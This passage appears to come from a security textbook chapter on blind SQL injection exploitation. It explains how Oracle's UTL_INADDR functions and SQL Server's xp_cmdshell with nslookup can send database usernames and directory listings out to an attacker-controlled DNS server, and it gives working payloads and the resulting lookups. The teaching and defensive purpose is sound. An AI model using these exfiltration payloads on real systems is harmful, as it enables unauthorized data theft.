SQL Injection Attacks and Defense - 2009

252 Chapter 5 • Blind SQL Injection Exploitation
SQL Server and Oracle both have the ability to directly or indirectly cause a DNS
request to be made. Under Oracle, this is possible with the UTL_INADDR package,
which has an explicit GET_HOST_ADDRESS function to look up forward entries and
a GET_HOST_NAME function to look up reverse entries:
UTL_INADDR.GET_HOST_ADDRESS('www.victim.com') returns 192.168.0.1
UTL_INADDR.GET_HOST_NAME('192.168.0.1') returns www.victim.com
These are more useful than the previously covered DBMS_LOCK.SLEEP function,
because the DNS functions do not require PL/SQL blocks; thus, you can insert them into
subqueries or predicates. The next example shows how you can extract the database login
via an insertion into a predicate:
SELECT * FROM reviews WHERE
review_author=UTL_INADDR.GET_HOST_ADDRESS((SELECT USER FROM
DUAL)||'.attacker.com')
SQL Server does not support such an explicit lookup mechanism, but it is possible to
indirectly initiate DNS requests through certain stored procedures. For example, you could
execute the nslookup command through the xp_cmdshell procedure (available only to the
administrative user, and in SQL Server 2005 and later disabled by default):
EXEC master..xp_cmdshell 'nslookup www.attacker.com'
The advantage of using nslookup is that the attacker can specify his own DNS server to
which the request should be sent directly. If the attacker’s DNS server is publicly available at
192.168.1.1, the SQL snippet to directly look up DNS requests is as follows:
EXEC master..xp_cmdshell 'nslookup www.attacker.com 192.168.1.1'
You can tie this into a little shell script, as follows, to extract directory contents:
EXEC master..xp_cmdshell 'for /F "tokens=5" %i in (''dir c:\'') do nslookup
%i.attacker.com'
The preceding code produces the following lookups:
has.attacker.com.victim.com.
has.attacker.com.
6452-9876.attacker.com.victim.com.
6452-9876.attacker.com.
AUTOEXEC.BAT.attacker.com.victim.com.
AUTOEXEC.BAT.attacker.com.
comment.doc.attacker.com.victim.com.
comment.doc.attacker.com.
wmpub.attacker.com.victim.com.
wmpub.attacker.com.